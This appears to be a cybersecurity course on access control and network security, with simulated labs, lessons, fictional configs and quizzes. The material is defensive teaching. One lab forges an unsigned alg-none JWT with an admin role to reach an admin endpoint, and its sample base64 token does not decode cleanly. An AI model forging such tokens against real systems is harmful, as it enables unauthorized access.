- 4 **Do:** Choose a factor for warehouse kiosks shared by many workers.

Simulator shows:

Prompt: personal phones not allowed. Select NFC badge with PIN or FIDO2 key. SMS rejected.

- 5 **Do:** Select passkey on managed laptop plus FIDO2 key for travelling executives.

Simulator shows:

Accepted. Note: targeted attackers expected; phishing resistance required.

- 6 **Do:** Select push with number matching for contractors and SMS only as a fallback for the customer portal.

Simulator shows:

Accepted with warning: SMS is vulnerable to SIM swap; offer TOTP or passkey enrolment.

- 7 **Do:** Submit the plan.

Simulator shows:

Score: 6 of 6 justified. Highest risk groups have phishing resistant factors.

ANSWER

Administrators and executives use FIDO2 keys or passkeys for phishing resistance; sales use TOTP; kiosks use badge plus PIN or shared-device keys; contractors use push with number matching; the customer portal offers passkeys and TOTP with SMS only as a last fallback.

Hint shown in the app: Match the strongest factor to the highest risk, then relax for usability where the risk is lower.

Decode a JWT and find flaws

SCENARIO

A fictional API at `api.example.com` uses bearer JWTs. You have a captured request in the sandbox proxy for user `guest01`. The team suspects the token validation is weak. You may only replay traffic inside the sandbox environment. The proxy history shows the token being sent on every call. Treat it as an inspection exercise: decode, reason about what the server checks, and note what an attacker could change if verification is weak. Findings will be summarized for the developers.

OBJECTIVE

Decode the token, identify the validation flaws and show their effect.

STEPS IN THE SIMULATOR

- 1 **Do:** Open the captured request and copy the Authorization header.

Simulator shows:

Authorization: Bearer eyJhbGciOiJIub251IiwidHlwIjoiSldUIn0.eyJzdWIiOiJndWVzdDAXIiwicm9sZSI6InVzZXIifQ.

- 2 **Do:** Split the token on dots and base64url-decode the header.

Simulator shows:

```
{"alg": "none", "typ": "JWT"}
```

- 3 **Do:** Decode the payload.

Simulator shows:

```
{"sub": "guest01", "role": "user"} (no exp, no aud, no iss)
```

- 4 **Do:** Note that the signature part is empty.

Simulator shows:

Signature: (empty). Server accepted it: 200 OK for GET /v1/profile.

- 5 **Do:** In the sandbox replay, change role to admin and resend.

Simulator shows:

200 OK for GET /v1/admin/users. Server trusts unsigned claims.

- 6 **Do:** Open the findings panel and tick the flaws.

Simulator shows:

Flaws: alg none accepted; no exp; no aud check; role trusted from token.

- 7 **Do:** Select the fix: pin RS256, require exp, aud, iss, verify signature.

Simulator shows:

Fix applied in sandbox. Replay now returns 401 invalid signature.

ANSWER

The API accepts alg none tokens, so claims can be forged without any key. The token has no exp claim, so it never expires, and no aud or iss is checked. The fix is to verify signatures with a pinned algorithm and key and validate exp, aud and iss.

Hint shown in the app: Look at the header alg value and whether the signature segment is empty.

Trace an OAuth authorization code flow

SCENARIO

Fictional app Notes at app.example.com wants to read calendar data from idp.example.com on behalf of user ana.test. The diagram canvas has steps shuffled and two empty protection markers labeled state and PKCE. The identity provider is idp.example.com, and the diagram tool will flag any ordering mistake or missing protection. Remember that some messages pass through the browser while others travel directly between servers, which affects what an attacker can see or steal.

OBJECTIVE

Arrange the flow in order and place state and PKCE where they protect it.

STEPS IN THE SIMULATOR

- 1 **Do:** Drag 'User clicks Sign in' to position 1.

Simulator shows:

Placed. Actor: browser.

- 2 **Do:** Place 'Redirect to /authorize with client_id, redirect_uri, scope, state, code_challenge'.

Simulator shows:

Placed at 2. Arrow: app -> browser -> IdP.

- 3 **Do:** Place 'User logs in and consents at the IdP'.

Simulator shows:

Placed at 3.

- 4 **Do:** Place 'IdP redirects to redirect_uri with code and state'.

Simulator shows:

Placed at 4. Arrow: IdP -> browser -> app.

- 5 **Do:** Place 'App exchanges code plus code_verifier at /token'.

Simulator shows:

Placed at 5. Back-channel arrow app -> IdP.

- 6 **Do:** Drop the state marker on step 4 and the PKCE marker on steps 2 and 5.

Simulator shows:

state: checked at step 4 to stop CSRF. PKCE: challenge at 2, verifier at 5.

- 7 **Do:** Place 'IdP returns access token and ID token'.

Simulator shows:

Placed at 6. Diagram validates: order correct.

ANSWER

Order: sign-in click, authorize redirect with state and code_challenge, login and consent, redirect back with code and state, token exchange with code_verifier, tokens returned. State is verified on return; PKCE spans the challenge and verifier steps.

Hint shown in the app: The code travels through the browser; the tokens travel on a direct back channel.

Build RBAC roles

SCENARIO

A fictional YAML role matrix at `/etc/acl/roles.yaml` gives the helpdesk role full admin rights, and user `lee.test` holds both `payment-creator` and `payment-approver`. The auditor requires least privilege and no separation of duties conflicts. The matrix covers finance, helpdesk and auditing roles for about forty staff. Your edits will be checked by a validator that looks for wildcard permissions, conflicting role pairs and roles that grant more than their documented purpose requires, and then reports what remains.

OBJECTIVE

Edit the matrix so each role has only needed permissions and the conflict is removed.

STEPS IN THE SIMULATOR

- 1 **Do:** Open `roles.yaml` and review the helpdesk role.

Simulator shows:

```
helpdesk: permissions: ['*'] <- flagged: wildcard
```

- 2 **Do:** Replace the wildcard with `users:reset_password` and `tickets:*`.

Simulator shows:

```
helpdesk: [users:reset_password, tickets:*]. Lint: ok.
```

- 3 **Do:** Review the finance roles.

Simulator shows:

```
payment-creator: [payments:create]; payment-approver: [payments:approve]
```

- 4 **Do:** Open user assignments for `lee.test`.

Simulator shows:

```
lee.test: [payment-creator, payment-approver] <- SoD conflict
```

- 5 **Do:** Remove `payment-approver` from `lee.test` and assign it to `pat.test`.

Simulator shows:

```
lee.test: [payment-creator]; pat.test: [payment-approver]
```

- 6 **Do:** Add a rule forbidding the pair.

Simulator shows:

```
conflicts: [[payment-creator, payment-approver]]
```

- 7 **Do:** Run the validator.

Simulator shows:

```
Result: 0 wildcards, 0 conflicts, 1 note: schedule quarterly review.
```

ANSWER

The final matrix has no wildcard permissions, helpdesk limited to password resets and ticket handling, and `lee.test` holds only `payment-creator` while `pat.test` approves. A conflict rule prevents the same user from holding both roles, satisfying least privilege and separation of duties.

Hint shown in the app: Search the file for '' and for users who hold two roles that complete one process.*

Authentication and Access Control: 10 questions, 80% to pass

1. Which NIST SP 800-63B practice is recommended?
 - A) Mandatory 90 day rotation
 - B) Checking new passwords against breached lists
 - C) Requiring symbols
 - D) Blocking paste
2. Which factor is generally most phishing resistant?
 - A) SMS code
 - B) TOTP code
 - C) FIDO2 security key
 - D) Security question
3. What is an MFA fatigue attack?
 - A) Cracking a TOTP seed
 - B) Spamming approval prompts until a user accepts
 - C) Stealing a SIM
 - D) Replaying a cookie
4. In Kerberos, what does a TGT let the client do?
 - A) Skip authentication forever
 - B) Request service tickets
 - C) Decrypt TLS
 - D) Reset passwords
5. Which token tells an OIDC client who the user is?
 - A) Access token
 - B) ID token
 - C) Refresh token
 - D) CSRF token
6. What is the job of the OAuth state parameter?
 - A) Encrypt the code
 - B) Tie the response to the request to prevent CSRF
 - C) Hold the user password
 - D) Select the scope
7. Which model evaluates user, resource and environment attributes?
 - A) DAC
 - B) MAC
 - C) RBAC
 - D) ABAC
8. Which action best addresses separation of duties?
 - A) Give one user both create and approve roles
 - B) Split the roles across two users
 - C) Share admin passwords
 - D) Disable logging
9. Which cookie flag restricts a session cookie to HTTPS?
 - A) HttpOnly
 - B) SameSite
 - C) Secure
 - D) Domain
10. Which JWT validation failure allows a token from another service to be accepted?
 - A) Missing aud check
 - B) Short exp
 - C) Using RS256
 - D) Using base64url

Answers: 1-B 2-C 3-B 4-B 5-B 6-B 7-D 8-B 9-C 10-A

1. Breach and blocklist checks are recommended; rotation and composition rules are not.
2. FIDO2 binds signatures to the site origin.
3. Attackers rely on the user approving a prompt to stop the noise.
4. The TGT is presented to the TGS to obtain service tickets.
5. The ID token carries identity claims.
6. The client verifies the returned state matches what it sent.
7. ABAC policy rules use attributes.
8. No single person should complete a sensitive process alone.
9. Secure prevents transmission over plain HTTP.
10. Without audience validation any validly signed token works.

Network Security

Beginner | 7 lessons | 5 simulated labs | checkpoint | about 4h 45m

This module covers the controls that protect networks and the attacks they face. You will write firewall rules, compare IDS and IPS, understand proxies and VPNs, design segmented zones and a DMZ, secure Wi-Fi, and recognize man-in-the-middle, ARP spoofing, DNS and denial-of-service attacks. You will also replace insecure legacy protocols with secure ones. Because nearly every attack crosses a network, these skills let you prevent, detect and contain threats.

BY THE END YOU CAN

- + Configure firewall rules and segment a network
- + Distinguish IDS, IPS, proxy and VPN roles
- + Recognize and mitigate MITM, ARP spoofing and DoS

IN THIS MODULE

Lesson 1 Firewalls and ACLs

Lesson 2 IDS, IPS and network monitoring

Lesson 3 Proxies, VPNs and tunneling

Lesson 4 Segmentation, VLANs and the DMZ

Lesson 5 Wi-Fi security

Lesson 6 MITM, ARP spoofing and DNS attacks

Lesson 7 DoS, DDoS and secure protocols

Lab 1 Write firewall rules (Config editor)

Lab 2 Design a DMZ network (Diagram builder)

Lab 3 Detect ARP spoofing (Packet viewer)

Lab 4 Tune a Suricata alert (Log viewer)

Lab 5 Triage a SYN flood (Mock SIEM)

Checkpoint 10 questions, 80% to pass

Firewalls and ACLs

A firewall is the first enforcement point between networks. Writing rules correctly, with a default deny stance, decides what an attacker can reach.

Stateless and stateful filtering

A packet filter or access control list (ACL) examines each packet on its own, comparing source and destination address, protocol and ports to a rule list. It is fast but has no memory, so return traffic needs its own explicit rule. A stateful firewall tracks connections in a state table (NEW, ESTABLISHED, RELATED), so a reply to an allowed outbound request is permitted automatically while unsolicited inbound packets are dropped. Most modern firewalls, including Linux netfilter with iptables or nftables, are stateful. State tracking also lets you reject packets that do not belong to any known connection, such as stray ACK packets used in scanning.

Rule order and default deny

Rules are evaluated top to bottom, and the first match wins, so specific rules go before general ones. The best practice is default deny: the final policy drops everything not explicitly allowed. Allow rules should be as narrow as possible, naming exact sources, destinations and ports rather than any. Egress filtering matters too, because outbound control limits data theft and command-and-control traffic. Log drops selectively with rate limits so logs are useful and not flooded. Every rule should have an owner and a reason, and unused rules should be removed during periodic reviews, since rule sets that grow unchecked hide dangerous exceptions.

NGFW and WAF

A next-generation firewall (NGFW) adds application awareness, user identity, intrusion prevention, URL filtering and often TLS inspection, so it can allow a web application but block a file-sharing feature inside it. A web application firewall (WAF) is different: it sits in front of web servers and inspects HTTP and HTTPS requests for attacks such as SQL injection and cross-site scripting, working at layer 7 against the OWASP Top 10. A network firewall decides whether a host may talk to a port; a WAF decides whether a particular web request looks malicious. They complement each other and neither replaces secure code.

Placement and management

Place firewalls at trust boundaries: internet edge, between internal zones, in front of data centers and on each host as a host-based firewall. Host firewalls such as Windows Defender Firewall or ufw stop lateral movement when the perimeter has been bypassed. Manage changes through a ticketed process, back up configurations, and test in staging. Use deny logging to detect scans and misconfigurations, and check results with a port scan from the permitted side. Remember that firewalls do not inspect encrypted content unless they are configured to, so they should be one layer in a defense in depth design, not the only layer.

IPTABLES RULESET (FICTIONAL HOSTS)

```
iptables -P INPUT DROP
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p tcp -s 192.0.2.0/24 --dport 22 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
iptables -A INPUT -j LOG --log-prefix "DROP: " --log-level 4
```

WORKED EXAMPLE

A web server at 203.0.113.10 needs HTTPS for the public and SSH only from the admin subnet 192.0.2.0/24. The administrator sets the INPUT policy to DROP, allows established connections, permits TCP 443 from anywhere and TCP 22 only from the admin subnet, then logs the rest. A scan from the internet finds only port 443. If a rule allowing any source on port 22 were placed above the narrow rule, it would match first and expose SSH to everyone.

KEY TERMS

ACL: An ordered list of permit or deny rules applied to traffic.

Stateful inspection: Tracking connection state so replies to permitted requests are allowed automatically.

Default deny: A policy that blocks everything not explicitly permitted.

NGFW: A firewall with application awareness, user identity and integrated intrusion prevention.

WAF: A firewall that inspects HTTP requests to block web attacks.

REMEMBER

- Stateful firewalls track connections; ACLs judge packets alone.
- Order rules carefully and end with default deny.
- NGFWs add app awareness; WAFs protect web requests.

QUICK CHECK

1. Why does rule order matter?
 - A) Rules are evaluated top to bottom and the first match wins
 - B) Rules run in parallel
 - C) Only the last rule counts
 - D) Order only affects logging
2. What does a stateful firewall allow automatically?
 - A) All inbound traffic
 - B) Replies to connections it saw being initiated
 - C) Only UDP
 - D) Any port 443 traffic
3. Which device best blocks SQL injection against a web site?
 - A) Layer 2 switch
 - B) WAF
 - C) Stateless ACL on a router
 - D) Passive tap
4. What is the safest final policy for an inbound firewall?
 - A) Allow all
 - B) Default deny
 - C) Log only
 - D) Reject only ICMP

Answers: 1-A 2-B 3-B 4-B

1. A broad early rule can override a narrower later rule.
2. The state table links replies to permitted outbound requests.
3. A WAF inspects HTTP content for attack patterns.
4. Everything not explicitly needed should be blocked.

IDS, IPS and network monitoring

Firewalls block known paths, but attackers use permitted ones. Detection systems watch traffic for signs of attack and let defenders respond.

Detection versus prevention

An intrusion detection system (IDS) observes a copy of traffic, from a SPAN port or network tap, and raises alerts. Because it is passive, it cannot break traffic if it fails. An intrusion prevention system (IPS) sits inline, so packets pass through it, and it can drop or reset malicious flows in real time. The trade-off is risk: an inline sensor that misfires blocks legitimate users or becomes a single point of failure. Many teams start a new IPS rule in alert-only mode, tune it against real traffic, then switch it to block once false positives are understood.

Signature and anomaly detection

Signature-based detection matches traffic against patterns of known attacks, such as a byte sequence or a request to a vulnerable URL. It is accurate for known threats and cheap to explain, but it misses novel attacks and can be evaded by small changes. Anomaly-based detection builds a baseline of normal behavior and flags deviations, such as a workstation suddenly sending gigabytes to a new address. It can find unknown activity but produces more false positives and needs tuning. Mature programs combine both and enrich alerts with threat intelligence and asset context so analysts see which alerts matter.

Snort and Suricata rules

Snort and Suricata are open source engines that share a rule language. A rule has a header and options: action, protocol, source address and port, direction, destination address and port, then options in parentheses such as msg, content, flow, threshold, sid and rev. For example, a rule can alert when more than 20 SYN packets from one source reach different ports of a host within 10 seconds, indicating a port scan. Suricata is multi-threaded and also produces rich JSON logs (eve.json), including protocol metadata, which feed a SIEM. Always keep rules updated, and test changes against captured traffic before deployment.

NIDS, HIDS and placement

A network IDS (NIDS) sees traffic on a segment and is placed at the internet edge, in front of the DMZ and on key internal links, but it cannot read encrypted payloads unless traffic is decrypted. A host-based IDS (HIDS) runs on an endpoint and sees what the network cannot: file integrity changes, process activity, local logs and decrypted data. Tools such as OSSEC, Wazuh and auditd fall into this group. The best coverage uses both. Plan capacity so the sensor does not drop packets, document what each sensor covers, and send alerts to a central system where they are triaged and correlated.

SURICATA RULE AND ALERT (FICTIONAL)

```
alert tcp any any -> $HOME_NET any (msg:"Possible port scan"; flags:S;
  threshold:type both, track by_src, count 20, seconds 10; sid:1000001; rev:2;)

10/05-09:14:02 [**] [1:1000001:2] Possible port scan [**]
198.51.100.77:41022 -> 192.0.2.15:445
```

WORKED EXAMPLE

An analyst sees hundreds of alerts for 'ET SCAN' from 192.0.2.40, an internal vulnerability scanner that the security team runs every Tuesday night. She adds that address to a suppression list for scan rules only, leaving other rules active. The same alert from 198.51.100.77, an unknown external host, stays active and is escalated. Tuning removes noise without blinding the sensor.

KEY TERMS

IDS: A passive system that detects suspicious activity and alerts.

IPS: An inline system that detects and blocks suspicious traffic.

Signature: A pattern that identifies a known attack.

False positive: An alert on activity that is actually benign.

SPAN port: A switch port that mirrors traffic to a monitoring device.

REMEMBER

- IDS observes; IPS sits inline and can block.
- Combine signature and anomaly detection and tune alerts.
- Use NIDS and HIDS together; send alerts to a central system.

QUICK CHECK

1. What is the main difference between IDS and IPS?
 - A) IPS is inline and can block
 - B) IDS blocks traffic
 - C) IPS only works on hosts
 - D) IDS requires TLS
2. A weakness of signature-based detection is that it:
 - A) Produces no alerts
 - B) Misses unknown attacks
 - C) Cannot be tuned
 - D) Requires machine learning
3. Which tool sees file integrity changes on one server?
 - A) NIDS
 - B) HIDS
 - C) Passive tap
 - D) Router ACL
4. Why start a new IPS rule in alert-only mode?
 - A) To save disk
 - B) To tune false positives before blocking
 - C) To skip logging
 - D) Because blocking is illegal

Answers: 1-A 2-B 3-B 4-B

1. An IPS sits in the traffic path and can drop packets.
2. It only recognizes patterns it already knows.
3. A host-based system monitors local files and processes.
4. Blocking legitimate traffic causes outages.

Proxies, VPNs and tunneling

Proxies and VPNs control and protect traffic that crosses untrusted networks, but they also create places where traffic can be inspected or abused.

Forward and reverse proxies

A forward proxy sits between internal clients and the internet. Users request a site through it, and it can filter categories, enforce authentication, cache content and log activity. A reverse proxy sits in front of servers: clients talk to it, and it forwards requests to back-end systems. Reverse proxies provide TLS termination, load balancing, caching and hiding of internal addresses, and WAFs often run as reverse proxies. In a security design, forward proxies control outbound behavior and reverse proxies protect inbound services. Both must be hardened, patched and monitored, since a compromised proxy sees a great deal of traffic.

IPsec and WireGuard

A virtual private network (VPN) creates an encrypted tunnel across an untrusted network. IPsec secures traffic at the IP layer using Internet Key Exchange (IKE, UDP 500 and 4500 for NAT traversal) to authenticate peers and negotiate keys, and ESP (protocol 50) to encrypt and authenticate packets. It is common for site-to-site tunnels. WireGuard is a newer, much smaller protocol over UDP that uses modern fixed cryptography (Curve25519, ChaCha20-Poly1305) and public keys for peers, making it simple to audit and fast. TLS-based VPNs, such as OpenVPN, run over a single port and pass through restrictive firewalls easily.

Split tunneling and trade-offs

With full tunneling all client traffic goes through the VPN, so the organization can inspect and filter it. With split tunneling only traffic for corporate networks uses the tunnel, and the rest goes directly to the internet. Split tunneling saves bandwidth, but a compromised home device can then bridge the internet and the corporate network, and corporate security tools do not see the direct traffic. Choose by risk: full tunnel for highly regulated environments, split for lower risk with strong endpoint protection. Modern zero trust access tools reduce reliance on broad VPN access by granting per-application access after checking user and device.

TLS inspection and tunneling risks

Most web traffic is encrypted, so security devices cannot see inside it. TLS inspection, also called SSL interception, places a proxy that terminates the user's TLS session, inspects the content and opens a new session to the destination, using an internal certificate authority trusted by managed devices. It exposes malware and data leaks but raises privacy and legal concerns, adds a high-value key to protect, and can break certificate pinning. Exempt categories such as banking and health. Attackers also use tunneling, such as DNS tunneling or HTTPS to a rented server, to hide data inside permitted protocols, so monitor for unusual DNS volume and long encoded subdomains.

WIREGUARD PEER CONFIG (FICTIONAL)

```
[Interface]
PrivateKey = <hidden>
Address = 10.8.0.2/32

[Peer]
PublicKey = <server public key>
Endpoint = 203.0.113.5:51820
AllowedIPs = 10.20.0.0/16
PersistentKeepalive = 25
```

WORKED EXAMPLE

A consultant works from a cafe. The company config sets AllowedIPs to 10.20.0.0/16 only, a split tunnel, so internal systems travel through WireGuard to 203.0.113.5 while web browsing goes direct. After a risk review, the company changes AllowedIPs to 0.0.0.0/0 for staff handling regulated data, forcing all traffic through company filtering. The consultant notices slower video calls, which the team accepts as a trade-off for visibility.

KEY TERMS

Forward proxy: A server that makes requests on behalf of internal clients.

Reverse proxy: A server that receives client requests on behalf of back-end servers.

IPsec: A suite securing IP traffic using IKE for keys and ESP for encryption.

Split tunneling: Sending only some traffic through the VPN and the rest directly to the internet.

TLS inspection: Decrypting and re-encrypting HTTPS at a proxy to inspect its content.

REMEMBER

- Forward proxies control outbound traffic; reverse proxies protect servers.
- IPsec and WireGuard create encrypted tunnels with different trade-offs.
- Weigh split tunneling and TLS inspection against risk and privacy.

QUICK CHECK

1. Which proxy type provides TLS termination and load balancing for servers?

- A) Forward proxy
- B) Reverse proxy
- C) Open proxy
- D) Transparent client

2. Which protocol uses UDP 500 and 4500 for key exchange?

- A) WireGuard
- B) IKE
- C) SSH
- D) RDP

3. What is a main risk of split tunneling?

- A) Slower DNS
- B) A compromised device can bridge internet and internal network
- C) No encryption
- D) Higher latency only

4. What does TLS inspection require on client devices?

- A) A trusted internal CA certificate
- B) A disabled firewall
- C) HTTP only
- D) SMBv1

Answers: 1-B 2-B 3-B 4-A

1. Reverse proxies front servers.
2. IKE negotiates IPsec keys; 4500 is used for NAT traversal.
3. Direct internet traffic bypasses corporate controls.
4. Clients must trust the proxy's issuing CA.

Segmentation, VLANs and the DMZ

Flat networks let an attacker move freely after one compromise. Segmentation limits the blast radius and is the backbone of defense in depth.

Zones and why they matter

Network segmentation divides a network into zones with different trust levels, such as internet, DMZ, user LAN, server zone, management and guest. Traffic between zones passes through a firewall that enforces policy, so a compromised laptop cannot reach the database directly. Segmentation also reduces scope for compliance such as PCI DSS, because only the segment holding card data needs the strictest controls. A well designed zone model follows data flows: define which systems must talk, allow only those flows, and deny the rest. Lateral movement, the technique attackers use to expand access, is much harder across enforced boundaries.

VLANs and their limits

A virtual LAN (VLAN, IEEE 802.1Q) splits one physical switch into separate Layer 2 broadcast domains identified by a tag. Traffic between VLANs must go through a router or Layer 3 switch, where ACLs or a firewall can filter it. Trunk ports carry multiple VLANs. VLAN hopping attacks, through switch spoofing or double tagging, are prevented by disabling dynamic trunking, setting access ports explicitly, changing the native VLAN from VLAN 1, and pruning unused VLANs. A VLAN is a logical separation, not a security control by itself; it only helps when inter-VLAN traffic is actually filtered.

The DMZ design

A demilitarized zone (DMZ) is a buffer network for services that must be reachable from the internet, such as web servers, mail gateways and reverse proxies. In a screened subnet design, an external firewall allows only needed inbound traffic to the DMZ, and an internal firewall tightly limits what DMZ hosts can reach inside, for instance only the database port from the web server to a specific database host. DMZ hosts must never initiate arbitrary connections to internal networks. If a DMZ web server is compromised, the attacker is still separated from user and server networks by a second control point.

Management plane and microsegmentation

Administration should travel on a dedicated management network, reachable only from a hardened jump host with MFA. Do not let administrators use internet-facing systems for management. Microsegmentation applies the same idea at the workload level, using host firewalls or software-defined networking so that each server communicates only with named peers, even inside the same VLAN. Validate designs by testing: attempt connections that should be blocked and review firewall logs. Document the allowed flows in a matrix, since the matrix becomes the checklist for audits and for investigating suspicious traffic.

ALLOWED FLOW MATRIX (FICTIONAL)

```
src zone dst zone port action
internet DMZ 443/tcp allow
DMZ web DB zone 5432/tcp allow (10.2.0.20 -> 10.3.0.5)
user LAN DMZ 443/tcp allow
DMZ user LAN any deny
mgmt jump all 22,3389 allow (MFA)
```

WORKED EXAMPLE

A retailer runs its web store on one flat network. A phishing victim's workstation is infected and reaches the order database on TCP 5432. The redesign puts the web tier in a DMZ, the database in a server zone, and allows only 10.2.0.20 to reach 10.3.0.5 on 5432. Workstations lose all direct database access. A later test shows the compromised workstation cannot even ping the database, and denied attempts appear in firewall logs.

KEY TERMS

Segmentation: Dividing a network into zones with controlled traffic between them.

VLAN: A logical Layer 2 network separation using 802.1Q tags.

DMZ: A buffer zone hosting internet-facing services.

Lateral movement: An attacker's movement from one system to others after initial compromise.

Microsegmentation: Fine-grained workload-level traffic control.

REMEMBER

- Zone by trust and data flow; enforce policy between zones.
- VLANs separate traffic only when inter-VLAN routing is filtered.
- DMZ and management networks contain breaches and protect admin access.

QUICK CHECK

1. What is the main benefit of segmentation?
 - A) Faster Wi-Fi
 - B) Limits lateral movement and blast radius
 - C) Removes need for patching
 - D) Encrypts all traffic
2. Which prevents VLAN hopping through switch spoofing?
 - A) Enable dynamic trunking
 - B) Set access ports explicitly and disable DTP
 - C) Use VLAN 1 as native
 - D) Allow all VLANs on trunks
3. What should a DMZ web server be allowed to reach internally?
 - A) Everything
 - B) Only specific needed hosts and ports
 - C) Nothing and the internet
 - D) User workstations
4. Why use a jump host for administration?
 - A) It speeds up SSH
 - B) It provides a single hardened, MFA-protected entry to the management network
 - C) It replaces firewalls
 - D) It encrypts email

Answers: 1-B 2-B 3-B 4-B

1. Compromise of one zone does not grant access to all.
2. Fixed port modes stop negotiation of trunks.
3. Narrow flows limit damage if the server is compromised.
4. It concentrates and monitors privileged access.

Wi-Fi security

Wireless traffic travels through the air, so anyone in range can capture it. Strong protocols and authentication decide whether that matters.

WEP, WPA2 and WPA3

Wired Equivalent Privacy (WEP) used RC4 with a short initialization vector and is broken; keys can be recovered in minutes, so it must never be used. WPA2 uses AES-CCMP and is secure when configured with a strong passphrase, but WPA2-Personal allows offline guessing if an attacker captures the four-way handshake. WPA3 replaces the pre-shared key exchange with Simultaneous Authentication of Equals (SAE), which resists offline dictionary attacks, adds forward secrecy and mandates Protected Management Frames. WPA3-Enterprise offers 192-bit security. Prefer WPA3, allow WPA2 only where needed, and disable WPS, whose PIN method is weak.

PSK versus 802.1X

A pre-shared key (PSK) network uses one passphrase for everyone. When an employee leaves, the key must change for all, and any user who knows it can attempt to attack others in some configurations. Enterprise Wi-Fi uses IEEE 802.1X with a RADIUS server and an EAP method such as EAP-TLS, which uses client certificates, or PEAP with user credentials. Each user or device gets unique keys, access can be revoked individually, and VLANs can be assigned by identity. Clients must validate the RADIUS server certificate; otherwise an attacker can present a fake server and collect credentials.

Evil twin and deauthentication

An evil twin is a rogue access point that copies a legitimate SSID so that users connect to it and have their traffic observed or credentials captured through a fake portal. A deauthentication attack abuses unauthenticated 802.11 management frames to force clients off a network, which can drive them to the evil twin or simply cause disruption. 802.11w Protected Management Frames, required in WPA3, makes forged deauth frames ineffective. Indicators include the same SSID from an unexpected BSSID, sudden bursts of deauth frames, and users receiving certificate warnings. Never click through certificate warnings on wireless networks.

Defensive practices

Use WPA3 or WPA2-Enterprise for staff, with a separate guest SSID on an isolated VLAN with client isolation and internet-only access. Use long random PSKs for IoT devices that cannot do 802.1X, placed on their own segment. Run wireless intrusion detection to find rogue access points, and turn off unused radios. Position access points and tune power to limit coverage outside the building, though this is not a substitute for encryption. Update access point firmware, restrict management interfaces to the management network, and ask users on public Wi-Fi to use a VPN and rely on HTTPS.

WIRELESS MONITOR LOG (FICTIONAL)

```
SSID=ExampleCorp BSSID=00:53:00:AA:01:10 ch=36 WPA3 [known]
SSID=ExampleCorp BSSID=00:53:00:EE:77:02 ch=6 OPEN [UNKNOWN]
DEAUTH flood: src=00:53:00:EE:77:02 -> broadcast rate=240/s
alert: possible evil twin + deauthentication
```

WORKED EXAMPLE

The wireless monitor shows SSID ExampleCorp from an unknown BSSID on an open network while real clients are being deauthenticated. This is a classic evil twin. The team locates the device, informs staff not to connect, confirms 802.11w is enabled on the real access points, and checks that clients validate the RADIUS certificate. They also add the rogue BSSID to the blocklist and review whether any users entered credentials on a fake portal.

KEY TERMS

WPA3 SAE: A handshake that resists offline password guessing and provides forward secrecy.

802.1X: A port-based authentication standard used with RADIUS for enterprise Wi-Fi.

Evil twin: A rogue access point impersonating a legitimate SSID.

Deauthentication attack: Forged management frames that disconnect clients.

PMF (802.11w): Protection that authenticates management frames.

REMEMBER

- Use WPA3 or WPA2-Enterprise; never WEP; disable WPS.
- 802.1X gives per-user keys and revocation.
- Detect rogue APs and enforce PMF against evil twin and deauth.

QUICK CHECK

1. Which Wi-Fi standard is considered broken?
 - A) WPA3
 - B) WPA2-AES
 - C) WEP
 - D) 802.1X
2. What advantage does 802.1X give over a shared PSK?
 - A) Per-user credentials and individual revocation
 - B) No encryption needed
 - C) Open access
 - D) Longer range
3. What does 802.11w (PMF) mitigate?
 - A) Forged deauthentication
 - B) SQL injection
 - C) ARP poisoning
 - D) Port scans
4. What is an evil twin?
 - A) A duplicate switch
 - B) A rogue AP copying a legitimate SSID
 - C) A VPN protocol
 - D) A WPA3 mode

Answers: 1-C 2-A 3-A 4-B

1. WEP keys can be recovered quickly.
2. Each user or device authenticates separately.
3. Management frames become authenticated.
4. Users may connect to the attacker's AP.

MITM, ARP spoofing and DNS attacks

Man-in-the-middle attacks let an attacker read or alter traffic without either side knowing. Recognizing the techniques points to the right defenses.

ARP cache poisoning

The Address Resolution Protocol maps IPv4 addresses to MAC addresses on a local network. It has no authentication, and hosts accept unsolicited (gratuitous) replies. In ARP spoofing, an attacker sends forged replies telling a victim that the gateway 192.0.2.1 is at the attacker's MAC, and tells the gateway the victim is also at that MAC. Traffic then flows through the attacker, who can read, alter or drop it. Signs include two IP addresses mapped to the same MAC, many gratuitous ARP replies, and users seeing duplicate IP warnings. Defenses include Dynamic ARP Inspection (DAI) on switches using the DHCP snooping binding table, port security, and encryption so intercepted data is useless.

DNS spoofing and cache poisoning

DNS translates names to addresses and traditionally has no built-in authentication. In DNS spoofing, an attacker supplies a forged answer so that a name such as `www.example.com` resolves to a server they control. Cache poisoning gets a resolver to store false data for many users. Randomized source ports and transaction IDs make guessing harder, and DNSSEC adds digital signatures so resolvers can validate that records are authentic. Encrypted DNS (DNS over HTTPS or TLS) protects queries from tampering on the local path. Monitor for unexpected changes in resolution results, and restrict recursive resolvers to the networks they serve.

SSL stripping and HSTS

In SSL stripping, an attacker who is already in the middle intercepts the initial plain HTTP request, talks HTTPS to the real server, and serves the victim an unencrypted copy, removing the lock icon. The defense is HTTP Strict Transport Security (HSTS): the server sends a Strict-Transport-Security header, such as `max-age=31536000; includeSubDomains`, and the browser then refuses to use plain HTTP for that site, even on the first click. HSTS preload lists build this protection into browsers. Redirect HTTP to HTTPS, use valid certificates, and train users to heed certificate warnings, because a warning is often the only visible sign of interception.

Detecting and preventing MITM

Combine controls at several layers. At the LAN, enable DHCP snooping, DAI and port security on access switches, and consider static ARP entries for critical gateways. Use authenticated encryption end to end: TLS with certificate validation, SSH host key checking, and VPNs on untrusted networks. Certificate pinning and Certificate Transparency monitoring help detect fraudulent certificates. For detection, watch for ARP anomalies in logs, run an IDS rule for gratuitous ARP floods, and alert on certificate changes. Remember that MITM does not require sophisticated tools; an open public Wi-Fi network offers the same position to any nearby user.

ARP CAPTURE (FICTIONAL)

```
No. Source Destination Info
112 00:53:00:aa:aa:01 Broadcast ARP 192.0.2.1 is at 00:53:00:ee:ee:09
113 00:53:00:ee:ee:09 Broadcast ARP 192.0.2.1 is at 00:53:00:ee:ee:09 (gratuitous)
114 00:53:00:ee:ee:09 00:53:00:aa:aa:01 ARP 192.0.2.50 is at 00:53:00:ee:ee:09
note: two IPs map to one MAC
```

WORKED EXAMPLE

An analyst opens a capture and sees 192.0.2.1 (the gateway) and 192.0.2.50 both claiming MAC 00:53:00:ee:ee:09, while the gateway's real MAC appeared earlier as 00:53:00:aa:aa:01. Repeated gratuitous replies from ee:ee:09 confirm poisoning. She finds the switch port for that MAC, disables it, enables Dynamic ARP Inspection on the VLAN, and reviews whether any unencrypted traffic was exposed to the attacker.

KEY TERMS

